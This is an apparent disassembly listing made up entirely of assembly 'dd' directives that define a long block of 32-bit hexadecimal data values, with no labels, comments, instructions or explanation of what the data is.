		dd 787B55C5h, 0C183C1B5h, 0AE060844h, 7B9C0D4h,	264A18EBh
		dd 37DEB345h, 93F2453Bh, 7AD4457h, 1F2F1650h, 4B9336E2h
		dd 66697C02h, 0F6798E54h, 0C0D940D1h, 78005E1h,	0CA3022F1h
		dd 7E29359h, 0E976F2C8h, 99E18729h, 7C640038h, 5BD931C0h
		dd 0E0CE5C09h, 6661F600h, 0B1BB0744h, 6C2B1D02h, 5E5EF331h
		dd 0B27D2DC1h, 727D821Ah, 0DBF70380h, 2A9244B9h, 41F36B8Ch
		dd 0C7C22E6Fh, 8301DC42h, 70316467h, 97BEA5DBh,	19E5CB06h
		dd 0BA233F5h, 79F8A954h, 0FE2D0BF7h, 0A2D0BC0Ch, 2E8D4121h
		dd 3C8B5F44h, 8497E6EAh, 20BBC3B0h, 55BF4DA9h, 8139FB99h
		dd 499D16A3h, 0A23B1BE9h, 0F78985FAh, 61BF6AEh,	14FA2B0Ch
		dd 0E0F39790h, 1409643h, 952FF24Fh, 8E018C98h, 89E9C1C9h
		dd 0A0A42078h, 906D373Fh, 9D0757Dh, 51E933A3h, 0FC29F024h
		dd 0F0FA9C27h, 4D1C0D0Dh, 2CE90E01h, 4F680A50h,	60CC9613h
		dd 77804AAEh, 1E3F3890h, 0E94F8429h, 40E5C3BFh,	0BD0052D5h
		dd 5A3240FBh, 0F47C0Dh,	72E3CE81h, 3B69A43Bh, 0E67B0BEEh
		dd 45A07F79h, 461261D1h, 2C15CBA1h, 822C31E9h, 57D204F8h
		dd 2C2ADC96h, 0E9EC5150h, 0FC27992Dh, 568E7DFh,	512CCC40h
		dd 63011FF2h, 83595C73h, 0E84301C1h, 6FDEF934h,	4F2BB340h
		dd 293325ADh, 752724FCh, 0BB810CCEh, 8E350063h,	7E180F93h
		dd 8086C729h, 0C495185Eh, 0F22322DBh, 60ABDA4Eh, 7AC3EB54h
		dd 0C698589Ah, 75259CB1h, 58ADD6B6h, 0ECB95180h, 0BC3AB0F2h
		dd 7ADF0D9Eh, 0A5C06F7Fh, 4FDAFCA7h, 0E305AAE6h, 0CFD1827Dh
		dd 0A7CBF6D3h, 805AB7FAh, 0CAFE45FEh, 25DB2E68h, 68665FAh
		dd 0BD4F6B3h, 60BCD997h, 0D2F6A9CAh, 686604C0h,	25E9620Ah
		dd 26A36040h, 9926FA1h,	0C387465Dh, 0B27FCF18h,	36095076h
		dd 0DD17FE0Ch, 80D5362h, 8114040Ch, 79E54425h, 962CC50Ch
		dd 44B64882h, 64F80BE0h, 1C002FE0h, 3ED9632Dh, 7A9FBBB8h
		dd 0EEFEBD23h, 888576DAh, 0BE02612Dh, 70363ADEh, 96B01DEh
		dd 0E6C14754h, 31628203h, 60505B10h, 0E346D5Ah,	0D1E92E55h
		dd 0A2F34AB0h, 391BDE81h, 0DAF5F82Dh, 0C5010DC9h, 0BBE986CEh
		dd 0C20AB76Eh, 851E16B4h, 7E206609h, 0F03FE458h, 579F5CF2h
		dd 0DC967CA2h, 4FB1FC57h, 0E2F3A22Fh, 3C49781Ah, 0F1E061A2h
		dd 0A874C45h, 0A04389C1h, 0C0E9CA31h, 0CA5D9DAAh, 0BD0FD769h
		dd 93E89E85h, 0D792DF30h, 263E60FEh, 50929389h,	0FF87729h
		dd 2A5F9531h, 0CE209038h, 9295E27Ch, 0C41C5782h, 4B68B0C3h
		dd 724B163Eh, 0E27BB5Ah, 89BB8185h, 34FD3D5h, 4D04F5F2h
		dd 32D42E9h, 0B20306BBh, 0EEA3414Eh, 2CB36803h,	4CE7BF84h
		dd 9D799F78h, 57402DC2h, 8968CA5Ch, 5FFDDC13h, 84EF80C4h
		dd 93BE84Dh, 5F5062EEh,	1216C2C5h, 943907A1h, 3913AB94h
		dd 1CE9F55Ah, 5E13B31Dh, 0AAEE3C0h, 0BF33E00h, 23712153h
		dd 0C190DB27h, 0C25F3DE9h, 7233765Dh, 0A8204678h, 0C95EB538h
		dd 7D44C6A0h, 60014170h, 29136E11h, 95A032F3h, 834B401Eh
		dd 2001EE30h, 0FB2DA6E4h, 415875DFh, 0DE1F4B4h,	3E8F5018h
		dd 2F37B10Ch, 0A0FA26F3h, 941263E6h, 4EF662Fh, 0B8FB8946h
		dd 656EAD04h, 0A388FFD5h, 0D72FFB49h, 3F7E01D8h, 1DE10022h
		dd 0CF87480Eh, 3A08C104h, 0C71BBE84h, 21EC81Eh,	86E4DAC2h
		dd 4310F062h, 0CB5A25E9h, 0AE4EB1F2h, 4EE1AA85h, 0E145ED2Eh
		dd 286BF529h, 0F1EF45EFh, 0F8D2D17Eh, 3B67ACE9h, 7891F34Fh
		dd 9C215AA9h, 9C6AC1F4h, 0EA734F9Ah, 0A816762Eh, 516DDC70h
		dd 0CA9D8AF8h, 691A71BFh, 9EF6405Fh, 27B5BA39h,	0C1D6B668h
		dd 0DC9D3689h, 7FC0CB0Ah, 9C59FAh, 0E8391384h, 0E6D500AAh
		dd 0E929C2ECh, 0B3904D2Ch, 8454538Bh, 75CD233Eh, 1E5E2330h
		dd 6D39F507h, 74B653C0h, 25F18080h, 6CD5286Ch, 0B3C89F6Bh
		dd 719784AFh, 0B1D1C95Ah, 3EEF443Eh, 0E12FBC84h, 0AE3AB802h
		dd 818AD1FFh, 44570ACBh, 8612058h, 0DA06DC27h, 12CE5BF8h
		dd 278FBF52h, 0B7C6E918h, 8A98BE56h, 11BD5AE2h,	248C580Bh
		dd 0F2918EA0h, 5FE3F4Ah, 56CF7B69h, 0FC2F8B9h, 846EA22Eh
		dd 1055573h, 56AA03DDh,	0D2D75713h, 64DE7631h, 808C6050h
		dd 23136BBAh, 22AE2927h, 0DB5E4262h, 4E0F6207h,	28D9BBE0h
		dd 0B0955F96h, 0E95C4BE2h, 0C04A61B3h, 247008E2h, 5AEAE68Bh
		dd 5B88E3C3h, 0E90BF1ECh, 0E194D786h, 7EADCBBCh, 43F62791h
		dd 7217B1C8h, 0CB4C6DE3h, 24268010h, 9554A65Ah,	687827F7h
		dd 99AB7CF5h, 0A95FC3Ch, 0F587B9B6h, 29D47832h,	4E1F80CEh
		dd 6D461CF7h, 2F08DF54h, 14763098h, 2E5F3F07h, 5C96BC1h
		dd 87107623h, 45A726Eh,	33C4D5B8h, 844CE241h, 0C00BDBEEh
		dd 3E802D87h, 0DC6D35Ch, 7B597A7Dh, 642358Eh, 0E117E913h
		dd 0C0FD4A50h, 0F5E9505Ch, 7763B2C8h, 963698D3h, 0D07C27C8h
		dd 9B5767Ah, 2B745215h,	585F68E2h, 52DEB7E0h, 93A1AE3h
		dd 315FFA1Bh, 840D4A55h, 0F9EB5BF3h, 0A5B4B567h, 23CC0768h
		dd 0FF5A2E35h, 0FDC6662Bh, 0CBBD0D37h, 0F52E4AEDh, 1B53206Bh
		dd 5160A741h, 0C7801606h, 272FEC88h, 6F495F53h,	0D4BC2E2Dh
		dd 89A6E24Ah, 0CA4CDD52h, 0C177FA82h, 907540BFh, 0E90CF85Ah
		dd 0B80A6E84h, 75552802h, 5FD8F73Fh, 6582DE3h, 7DE810A7h
		dd 81F0301Ah, 91F3FD0Eh, 80896F8Fh, 2B73BF0Ch, 4CF777A5h
		dd 381E56D7h, 0BC2ADD15h, 845CB084h, 0AD05822Eh, 92E6D9FDh
		dd 8A120E28h, 7D8FAA77h, 1644B612h, 2D16B05Eh, 0D6BBAC16h
		dd 50F4FFF5h, 0CDEDC03Dh, 4C6833D5h, 0F59DF775h, 6A419392h
		dd 84F5F2A1h, 0B1FEC532h, 0E97030C5h, 67492E2Dh, 0B86C8B73h
		dd 84C9F65Ch, 0FA911E6Bh, 0F9E0F830h, 0A82AE133h, 1AD8F188h
		dd 4FEEA381h, 2F22673Dh, 8140294h, 4C8C1020h, 58D06802h
		dd 0E6603C4Ah, 0E08EB30h, 8C689CAh, 0F42F3101h,	633501D6h
		dd 2B07B529h, 10B926C4h, 8080BA75h, 0B95E3142h,	89936A45h
		dd 837C4E93h, 5BDBE958h, 87FF9216h, 0E4D7D157h,	0A3D604ECh
		dd 1B45BF00h, 0BCA02209h, 5C766270h, 0E6C14612h, 2A822C05h
		dd 523E3FCAh, 19874C1Ah, 3B303BC0h, 5C74FDA0h, 0B28DAF82h
		dd 5D5EB245h, 0FA54E5AAh, 10A06F40h, 77091D27h,	9ED489Eh
		dd 843A631Dh, 0AE9EAF27h, 0A3856A48h, 0FC5595E7h, 0ABA897B5h
		dd 20CA9738h, 8025B474h
		dd 93ADEC3Eh, 25B8F162h, 0AF56F2C4h, 38A45E37h,	0FC076ACh
		dd 0E9312A1Eh, 0FB81225Eh, 73DCC829h, 84339957h, 0B37BA968h
		dd 372002E6h, 5529113Bh, 0E9E29A7Ch, 0DAE85FF6h, 0F3A47249h
		dd 9F056040h, 522EF474h, 0B869C5C1h, 0C5E829FCh, 4526E94Fh
		dd 0C2F9018Dh, 48058692h, 0D9CD4782h, 52660DE9h, 2B75F64Fh
		dd 2CE07C54h, 7FB40C5Ah, 465A1185h, 3CB2C324h, 9431392h
		dd 0F1551955h, 0FE5C5A71h, 7953C500h, 149EBD47h, 0EA8C01C9h
		dd 712D1E04h, 10FF8409h, 0AF4908F8h, 0E8895082h, 201741DCh
		dd 4162EDE4h, 188F30DCh, 982264BDh, 60734154h, 0DC2C5051h
		dd 0FC065235h, 0CCA1F7Ah, 0F82AA7C7h, 6A412B2Ch, 8B00AE2Ah
		dd 2470D4F4h, 0EE00B721h, 934C97E6h, 7A8645Ch, 1C832843h
		dd 0E09F3C0h, 0E96617DBh, 5E764C54h, 40132D68h,	0B8013E6Bh
		dd 306A1A29h, 2E0C430h,	0E91CA61Dh, 48563F78h, 5E2AD585h
		dd 0C090C4C1h, 1225E210h, 0D143F51Dh, 1602F0AEh, 406EF47Bh
		dd 2FF10DD3h, 415C5021h, 0EB5F2511h, 5F03AB0Bh,	0A5B5D998h
		dd 0C1B38051h, 9606FCE8h, 0B2702ED9h, 0D0BDA050h, 3E626243h
		dd 0B656D1F4h, 2F89C40h, 93D897DDh, 0A0C30126h,	0B6E86817h
		dd 53A71A9Eh, 0EB9545FFh, 80E72EDFh, 0FECAD954h, 0A2C84F01h
		dd 6855E040h, 734E0661h, 604D5D5Fh, 8CB1A40Bh, 2063D8A0h
		dd 0F7161B63h, 6E3455DAh, 45A9F3C1h, 0BBA0C80h,	31092C04h
		dd 48C8545Ah, 67BE25E9h, 0C090BD49h, 0E4B018B2h, 38099D90h
		dd 1D606Eh, 0DF097209h,	0B8AAC168h, 6F3D5D2Fh, 0C237D0B0h
		dd 59D5E90Eh, 0E8B446D3h, 9A00C8BFh, 905F7040h,	5AED0F2Ch
		dd 86857E58h, 4A3C9128h, 7C82437h, 95D7B2AAh, 0B5743EADh
		dd 697A74FEh, 0E67E572Ah, 88C52D5Dh, 0F5258305h, 15F55B32h
		dd 0DBF1AD1Eh, 0AF1E9C20h, 1E2E83F0h, 0CA305D59h, 0FEF2404Bh
		dd 0E8C0C814h, 176E3EC5h, 0B341281Ch, 195D25Dh,	0B2EFB87Eh
		dd 0F589828Fh, 0F85D0916h, 0A2681F58h, 0B80A1602h, 46AC5BC1h
		dd 92E76BB8h, 0D693EA1Fh, 9D5118Bh, 0E1ED0040h,	8325CD73h
		dd 2E017EC5h, 0BA449443h, 69A44CBEh, 72D143Fh, 0DCB25D2Dh
		dd 232675Dh, 766C7284h,	0ABA56055h, 0D9E083C2h,	134C094Ah
		dd 40300432h, 5EA15D1h,	0C17CFEB9h, 0C8E6BAD4h,	292488C6h
		dd 6F0B27CAh, 35167DBCh, 7FE52C5Fh, 95D2FDDBh, 17715747h
		dd 0FF852F3Eh, 0EA24AE85h, 41D7D1DCh, 0EF34824Bh, 7098FD7Eh
		dd 0A21A4B97h, 0A56E8645h, 18F77D17h, 6C376236h, 0A0307CDEh
		dd 0A3201854h, 0C4BA4EEFh, 3616EB2Ch, 88EB04BAh, 0F2800232h
		dd 3360FF2Dh, 9BB8CDFEh, 755969FEh, 6E81C58h, 350172E4h
		dd 7948CE54h, 0E01A357Ah, 6C12DF69h, 56C434D8h,	0E2000716h
		dd 0BAC1708h, 5D02829h,	5B5A0E07h, 0B3939A68h, 584D0420h
		dd 8EC24BBDh, 0BACDE879h, 1E6D164Ah, 6741EA20h,	65927A4h
		dd 20B2420h, 0E93C026Ah, 30D57476h, 0B555801h, 18148DBDh
		dd 0A9B02178h, 0DECC0E5Fh, 30C04033h, 885AD70Bh, 21E472FCh
		dd 2C8F31D5h, 0D7D049FEh, 0EE648D9Ah, 5E606B20h, 9377A35Fh
		dd 52C181AAh, 58660015h, 0D0D44828h, 33F9F415h,	3C013578h
		dd 7C9BA5F7h, 500D0242h, 0E215BE6Ah, 97915033h,	38D496DDh
		dd 0BA5A66AEh, 0AD3A0769h, 32409F53h, 0E7E91709h, 4FA2A856h
		dd 0A1D1830Fh, 0CDB92AF5h, 10A8B2E4h, 6C812030h, 201F610Ah
		dd 351310ADh, 88BE4FCFh, 56075709h, 0D9606468h,	0EAC05E34h
		dd 14DF45F0h, 88E6C151h, 0AFF29312h, 9BC42AB2h,	8DCEBE3Ah
		dd 7F87680Bh, 7C20E766h, 7114FA08h, 28445A71h, 7A27E9A2h
		dd 62135C0Ch, 0CFC4AB34h, 3901EB03h, 1E436A22h,	0D28E9F0Eh
		dd 3C9BB87Ch, 592A6410h, 9C433ECFh, 92D4DF27h, 79092005h
		dd 7FC94FC2h, 6243EFF9h, 0EA173E7Ah, 3ED03719h,	128E61DAh
		dd 9541F208h, 7ECB6864h, 395AF1EDh, 4D550479h, 0F6835412h
		dd 0FCA15EA2h, 41FA5EFDh, 47B2A99h, 4CAE4001h, 607E16DDh
		dd 4B91A874h, 2F58509Bh, 2157B8E3h, 5D58C78Dh, 0D672A87Bh
		dd 0CA05B709h, 0B7A40009h, 9FFD202Ch, 0DD0061D0h, 8816C580h
		dd 9D05E9EEh, 5DFC0Bh, 0AB6304F6h, 5BAAA127h, 0D63BB33Ah
		dd 0E90BA49Eh, 0B3E4B558h, 4D9F8B7Dh, 0D8F701BEh, 7D23F8E9h
		dd 1A68C314h, 0A6AE8431h, 39E9C280h, 0B0BDA21h,	18A95F71h
		dd 2DE2D558h, 1D39D505h, 0E4C20163h, 0A6A2D161h, 325E13CEh
		dd 94FF5C16h, 94F795EBh, 4CE913B9h, 39003D93h, 0C0680AE1h
		dd 51935F13h, 5F1323BBh, 8198FDD3h, 132EBEEEh, 0C600EDDEh
		dd 262C43BBh, 0F620F901h, 0B571014Ah, 4EE23534h, 51352090h
		dd 0B621C040h, 2A090AF7h, 0E1FF49FCh, 67F15339h, 0D7359E57h
		dd 0D2F013C4h, 34F81368h, 0B319FC5Dh, 44D082E9h, 591F2C63h
		dd 0C5E74084h, 6F00D855h, 7BC7BA52h, 32E96D5Dh,	5C24FA20h
		dd 0F6BDC7FAh, 0B5FDBF55h, 0DEDEB626h, 976CD309h, 0D7280B57h
		dd 5263A65h, 0B02C7C10h, 4AC51ED6h, 92A21613h, 58442CDFh
		dd 0E97B297Ch, 0BF52564Ah, 596F49AAh, 7C7A64FEh, 0E1C945DEh
		dd 0A1CB7C28h, 0CE3F25E7h, 3D5A7E95h, 127CEB17h, 3089419Eh
		dd 0AE4AB1E7h, 0BD6790FEh, 682665F2h, 0D23E8C12h, 42702FBAh
		dd 80537500h, 1A70539Ch, 946CB551h, 2CB25035h, 59CA8027h
		dd 58B56282h, 5DFE75h, 0D2F659EAh, 7F4BA5E9h, 0E9CEDBE7h
		dd 0F0D14DEBh, 715C6861h, 0F1429D88h, 0FDE5880Ah, 5A08CF2Ch
		dd 58E68176h, 3C1D713Bh, 211261C0h, 13B020Dh, 835BCF9h
		dd 6BA53531h, 0F675E02Dh, 21180B22h, 61AB7B1Fh,	2327D183h
		dd 363202C1h, 248057C9h, 0E9396627h, 7A0F065Fh,	76746E5Ch
		dd 0FCAF5161h, 1608B72Eh, 8EAB5FF9h, 8940486Fh,	5F082936h
		dd 0C94A0053h, 30C46B17h, 0F576FCEEh, 4C41CFBEh, 74E2C15h
		dd 5B438569h, 6ACF4480h, 714B58DCh, 5D3F6D05h, 135FFC1Fh
		dd 0A9AD0CE9h, 1A8FC507h, 9DD49BEh, 772E0BC8h, 61486490h
		dd 62C77FC0h, 97287C77h, 0E003AE5Fh, 83649E53h,	123D9EEFh
		dd 0D1A2BE25h, 5A113C32h, 0E2CE45DFh, 5B00E4AAh, 9006E1C0h
		dd 0B93E4A46h, 613D634h, 0C1808142h, 0F8F655C2h, 0E4A22C50h
		dd 74C8E01Dh, 0D2E2E504h, 0C0E14F70h, 2FD1054Dh, 7C3C5E3Dh
		dd 5D148869h, 0CB902DDAh, 1CFB9020h, 1E5BF828h,	582DB8F0h
		dd 299861ECh, 27C530BFh, 0EFB7D348h, 0FD393121h, 0FC13443Bh
		dd 0BD4109Eh, 834D136Eh, 4F1AEBF0h, 792BD51h, 7FCE2293h
		dd 0D610FD95h, 7E502708h, 55C4019h, 0E135139Dh,	60808A0Ah
		dd 4A7A6D65h, 24D3C04Ch, 723B1B63h, 237DC41h, 2935394Dh
		dd 9367F5C8h, 54515A84h, 125AB2FFh, 5EBC0ADFh, 21066882h
		dd 175116FDh, 0EC2FC8E9h, 168C2A5h, 6090D667h, 446B2B85h
		dd 0A29D359Eh, 48DA9060h, 510336EFh, 5D7AE575h,	34AAB8F9h
		dd 4805288Dh, 0EA891E9Fh, 4DF26DC0h, 3B7F3077h,	2B6FA90Ch
		dd 1097404Ch, 5C18DFCDh, 0A825BE57h, 0CC80609Ch, 89FB7FF9h
		dd 55BFFAE8h, 8B3EBA14h, 4D680A56h, 18407472h, 0B06E0D01h
		dd 79C625AAh, 665A4E5Dh, 0E061ADAh, 95125B4Ah, 57C46701h
		dd 0ED6156F1h, 272A76C0h, 0F3DE0133h, 8698755Ah, 5E5BF329h
		dd 0B6856CBDh, 12C0EEE4h, 0E93E2868h, 8E3BFD6Eh, 0C1FF3645h
		dd 6C3EA412h, 4121937Bh, 0F7030EDBh, 3CFA80ACh,	280BB43Fh
		dd 0FF58C301h, 0DDF06FCAh, 2E0E6C97h, 52712770h, 0E8D09684h
		dd 6023C997h, 0B73C89F9h
		dd 0E95E80FCh, 5F16096Fh, 0C8121CFBh, 52C25D0Dh, 0BA922330h
		dd 0E230316Eh, 791DF5B0h, 8952CFA5h, 0BDA4F029h, 0E95853D6h
		dd 20C84B5Ch, 0C3106E23h, 9BAD514Eh, 9D580840h,	13C69C7Dh
		dd 0BCD53FE9h, 722AC143h, 7B7C76DDh, 0F2D80112h, 2DF8C009h
		dd 489543B0h, 0AB795838h, 0D0DEC222h, 6D6668BEh, 0BC008F5h
		dd 7010341Ah, 2555F8DCh, 0E74272E9h, 0C2926557h, 9EDF28D7h
		dd 685D0864h, 0E9091259h, 5DB9626Ah, 0D57AF876h, 0E9415C79h
		dd 653A82FDh, 0E96960A9h, 3FE106B5h, 0EEE405FDh, 375890E2h
		dd 0FB29854Fh, 4651A72Bh, 4C03587Eh, 554A2B68h,	0EE92BDF2h
		dd 0B33B5D69h, 769E853Dh, 0EEC45FE8h, 78C41323h, 3C72A1BBh
		dd 9A022778h, 0AEF65532h, 0E9F1A501h, 4F54B1ACh, 7ED4A1FAh
		dd 94DADDA7h, 215475Dh,	0DF2673EBh, 2D2461FFh, 3B191A29h
		dd 7BFEA10Ah, 179BC306h, 35660E12h, 582E1BEh, 69753CC0h
		dd 1C920193h, 2C03A829h, 0A9EFAA34h, 0B49A82D1h, 49A27FFAh
		dd 0B3E0C680h, 99BB6DB2h, 0F3534A17h, 65CF9CEFh, 0B51C00BFh
		dd 6C5FE9Bh, 0F66CCD80h, 0B9120AD5h, 87491EE9h,	16727659h
		dd 0A3C30A48h, 9AF42F81h, 411807A4h, 0EEDE2048h, 4FA5B75Bh
		dd 5EE1ABC2h, 4A0D8F3Ah, 5CC21198h, 0E7842C02h,	6E680725h
		dd 75BC65D2h, 0E9C1F251h, 0AC331E35h, 3052578h,	9E32D747h
		dd 3DE3E55Fh, 0CA7D4BA5h, 9211541Eh, 166AA856h,	62DD953Ah
		dd 0ACD5A222h, 18F1BAD2h, 0E49DEC2Ah, 87FFACBBh, 6408398Dh
		dd 6E81C34h, 0A5B2609Dh, 6A5DC417h, 755A0BA1h, 2E87B631h
		dd 1EA7212h, 9F715879h,	0F9F26E02h, 1B8BFF4Ah, 2326050h
		dd 318272D0h, 9A5C5FF8h, 0E94D602Dh, 7EAE9D4Fh,	0BE1DE8C4h
		dd 525F1B44h, 0C646F8AAh, 20A36275h, 0D4E060E0h, 805A6604h
		dd 1FAB45C4h, 0F420416Dh, 7278D5E9h, 42D003BCh,	88052B11h
		dd 902D974Ch, 746E77Ch,	44681CB7h, 9EDD2773h, 0E4EF94C7h
		dd 0C4FAC65Ch, 0EB6C1C6Ah, 2DE95178h, 2320EEAAh, 798BB97Ch
		dd 39F56F6h, 0B9C529B7h, 4B2D3F2Eh, 4E46EE11h, 0B10E00ABh
		dd 8172AE4Eh, 4155CE04h, 40EA2E12h, 0BE4FFA00h,	0F29A567Eh
		dd 6757EE0Bh, 0EFAD0561h, 8EE90702h, 2CC7671Fh,	0B78B151Dh
		dd 0AD0B569Eh, 39B40237h, 8002E4C0h, 0E188ECB4h, 0CE202A58h
		dd 5E062017h, 31E7B900h, 0C9812191h, 52813ECh, 22A0D868h
		dd 754F3F00h, 11CB8143h, 0F395484Eh, 78E02A2Fh,	581EC721h
		dd 0F4964897h, 97D85DFBh, 0FE33528Ah, 6D130BB2h, 84E1E90Ah
		dd 952250Bh, 0D157824Dh, 0E26861DBh, 45FD8C3Fh,	0B530A2Dh
		dd 0C7FE73B7h, 487ECFEh, 1EAEF780h, 0E28EDEE7h,	0FA0B509Dh
		dd 82972570h, 98958E79h, 5DA85EB6h, 7F82ADDFh, 0F85D5258h
		dd 7E6B98E2h, 37E12C01h, 43FA93BCh, 72D339A3h, 0C5A099EAh
		dd 0DD1F9EBBh, 0A85E1E7Ah, 53CF84ECh, 271F3C1h,	2B372062h
		dd 0E3A92C65h, 0FFDDD509h, 0D8040FB2h, 0F91F17D8h, 14E4A9D6h
		dd 9335139Bh, 0B33E1653h, 426D074Dh, 81C91BA1h,	2B1E314Ch
		dd 1F2DCAF0h, 9AC4Fh, 5035AF2h,	0D74B0120h, 64869362h
		dd 0BBF70272h, 963D323h, 503FE77h, 46518868h, 2BA34AACh
		dd 0E55EC502h, 8553E3CDh, 8FBAF9E7h, 0BD364F03h, 0CA594E07h
		dd 92D4909Eh, 2BFAB1h, 1752C262h, 60B70962h, 9D832078h
		dd 0CE0EB564h, 33317997h, 71164DE9h, 8666BDD8h,	20CB4F8Ah
		dd 0B9F4BCB6h, 0C5996158h, 42EFC788h, 585AD380h, 0F4A778D9h
		dd 0A5FE2798h, 3B6E7769h, 4AFFE6BDh, 338CFA5Ch,	25B32D53h
		dd 59EAC120h, 0D05A305Bh, 0FCBE57AEh, 76B684DCh, 9DB1B3A4h
		dd 6125B480h, 2DEE3637h, 16053D0Fh, 0B3CE611h, 814E0E80h
		dd 0ED2735E6h, 30EE602Fh, 95F6511h, 6022D691h, 80A5B700h
		dd 6C0C776h, 2C4D04FBh,	710EBDCCh, 2C5EBC9Dh, 0CD58C8FEh
		dd 0E831A26Dh, 0CB0876C3h, 204AC1Ch, 9E290AC0h,	5E36D02Dh
		dd 0B5021679h, 6515E596h, 0F6AC2A4Eh, 0B80650E8h, 8BF2343h
		dd 1C292756h, 0D677BB92h, 0A7098B9Bh, 0E53B942Dh, 0F8D525C4h
		dd 189D0821h, 0C73E99B4h, 0A27FED7Dh, 71403D9Dh, 0C009262Dh
		dd 0FA11E94Fh, 6FF30480h, 0C031FC49h, 0B01884FCh, 0EED11F13h
		dd 0F3BDF601h, 1738F027h, 289D0E50h, 4CD8C4Ch, 102C50EFh
		dd 2ED4F137h, 83DD8FFCh, 48CE718Bh, 270C2A05h, 12BE1D36h
		dd 98BEAEDh, 0C406274Ah, 37E8AB58h, 0E4B6ADD6h,	859021BBh
		dd 30756B45h, 16AAE985h, 0F69DBE89h, 1094E22Bh,	5A09077Fh
		dd 0CF87C8FEh, 0AB2B389h, 2CDA5139h, 57C92ED3h,	0BA5D5A3Ah
		dd 2FE5F912h, 0C54296DCh, 22C75538h, 0E9049825h, 710F59FDh
		dd 1A18F305h, 58B9B9E0h, 2D40016Ah, 32E1D72h, 0F45E57F2h
		dd 5D969C42h, 4142975Eh, 9FDD6613h, 0C3449068h,	0E991CA04h
		dd 912F628h, 72299EE4h,	8F24382h, 0DB08DD74h, 2A624EFh
		dd 69B2602Bh, 688C8F61h, 598E97C9h, 2598B35Fh, 0D75E8B5Ch
		dd 0CA29BE1Ch, 6828EA0Eh, 0B7E0F420h, 0BB25BBF8h, 9F5BD812h
		dd 0FDA7B5FEh, 0FE47BD02h, 0E70D709h, 0F15EF527h, 871F62A8h
		dd 77805005h, 0D5368Fh,	7591B855h, 0C829BE4Bh, 0B2A8594Ah
		dd 8D0D4000h, 2D23F879h, 809CF702h, 0D9C501D6h,	0C6DE4EF5h
		dd 7E073AEBh, 8FA08B5h,	510FE90Bh, 0AC8B3DE5h, 93808B55h
		dd 0A2EAF5C3h, 2F400C60h, 8472F01Eh, 42180883h,	56818C2h
		dd 0B6602533h, 702FA78h, 0FF9B0435h, 0C8CA40D7h, 2E7F1250h
		dd 0ED40BAE9h, 2B586ABAh, 0EC95B001h, 0AC0CD348h, 0C52410FBh
		dd 0B9C38816h, 17721C83h, 5414DF27h, 275FD8A2h,	16FC34F0h
		dd 40470E8Fh, 6D617781h, 2E0D5960h, 0E7B60971h,	5402B800h
		dd 592A0B2Dh, 20F1265Eh, 5AABB00Bh, 416EB243h, 61AFD090h
		dd 987E673Fh, 0B9745375h, 7F109F24h, 0B42C302Bh, 7A02B922h
		dd 7520517Dh, 807674Ah,	61E96F53h, 0D9F5BBDDh, 0CD2EBD35h
		dd 4F69600Fh, 1C853913h, 0BEBCD4FAh, 0C0E39BC3h, 4A60A572h
		dd 646400D1h, 0E9FEF59Fh, 79EC772Dh, 991AE2B5h,	60CAF08h
		dd 9E6BB52h, 6D157DCAh,	0A02E84h, 0DA3648B9h, 0A823F40Fh
		dd 1D3D04C4h, 252CE828h, 84B6CDE0h, 13E66DC0h, 4F02A663h
		dd 0CC5BD846h, 2F073717h, 5B1B79A0h, 0D3E5A94Bh, 2E686BF0h
		dd 6A121A3Fh, 4256028Ah, 0A1810E6Bh, 2C1F041Eh,	0A99E7BB7h
		dd 4B70E9D0h, 0CA24474h, 38BCBB0Dh, 685061E1h, 2F68BC25h
		dd 93567F9Ah, 66824A5Ah, 0BFE916A3h, 3025994Ah,	1712905Bh
		dd 50FB3D45h, 135C0869h, 38DD68C2h, 2374126Ch, 97DF2980h
		dd 5466442Fh, 0E3E01635h, 0EB8A749Fh, 0E48DCE77h, 0CCC197B5h
		dd 0ADBE048Fh, 0F5E84BFCh, 21397909h, 5CA2F40Eh, 487F6347h
		dd 1311C52Eh, 14F5A51h,	299BD6D2h, 0BAB6300Bh, 0F22B5B81h
		dd 2D413EC4h, 51DB76D3h, 16A87B05h, 0BB8ABA4Fh,	9406342Ah
		dd 0A7E0824h, 59C3210Bh, 96FDE976h, 5DF325A4h, 8783235Fh
		dd 0EF8B0351h, 179F504Ah, 9CDC3ADAh, 6E18BB01h,	0A8E84979h
		dd 25C8BFD8h, 5912A6BEh, 0E0FB758Eh, 972655D5h,	9B205240h
		dd 6897B8B7h, 8129627Ch, 0E0DA09A0h, 0AF5F5978h, 4CD2BD41h
		dd 0F12E2D5Bh, 57D99Eh,	3D7188BFh, 9A171E83h, 1024ED2Ch
		dd 675AC4DBh, 989C2C4h,	7D69E67Ch, 41091345h, 0DCB45544h
		dd 22D2E0C1h, 0BB2E55AFh, 3401A712h, 0AA50DD2Bh, 0EA22C43Fh
		dd 0A561699Dh, 4EFBC13Eh, 5D9B9D7Dh, 23A5D0D6h,	1462AFCh
		dd 75E2BA3Bh, 2E2966F2h
		dd 325270D1h, 0FE451771h, 0F97895A5h, 40D1C702h, 0A87D2E4Dh
		dd 0D42D08A9h, 24335968h, 2049F60Fh, 42EF03AAh,	2671053Dh
		dd 1C7F0D0Ch, 2530B816h, 0F4F9C523h, 0D790796Fh, 70A84022h
		dd 83B29577h, 6E66C0F5h, 0ED808049h, 0EE886216h, 520EA98Ah
		dd 0F30155B6h, 9EDEACE9h, 2781BED4h, 0F1213B9Ch, 0AE3893F1h
		dd 0CD355B01h, 4719AF43h, 3A4BF0BFh, 464C4E32h,	40FC0503h
		dd 5AD0CE68h, 25120705h, 2D707714h, 0B9DAC525h,	0D8F05605h
		dd 49B3914Ah, 8583F95Ch, 48CB99Eh, 4B40595Eh, 0AAD4FA6Bh
		dd 0DF5F0809h, 0A4329316h, 0DDEF57FDh, 5E7C4ED0h, 7CC4822Dh
		dd 23463FEh, 72EA2902h,	90D070ACh, 1769EDEAh, 0C777A659h
		dd 2273FC9h, 0E905C468h, 0FCCB8402h, 0C27A5A0Bh, 2771C0Fh
		dd 0FE163345h, 1A6021ADh, 0DC45371h, 4930D8BDh,	5A3B724Fh
		dd 0F713F716h, 54D7B62h, 30F94A4Fh, 4C5BB3F5h, 0F227277Eh
		dd 4F9351h, 0FB67E3BEh,	0BA04521Ah, 2BCA65A9h, 63F742FBh
		dd 0ECC06E4Dh, 92B6DCE6h, 7394AB62h, 12F70E8Dh,	45D8AE16h
		dd 0B73825E9h, 3BA7922h, 5C97397Ah, 9E933D55h, 15C416Fh
		dd 0E90A3438h, 0EDC56B6Ch, 0C903F2FBh, 0C9717557h, 0BD551630h
		dd 4C581F83h, 9CFE8C4Bh, 0B42A681Ch, 0BA171E33h, 0CF004C9Bh
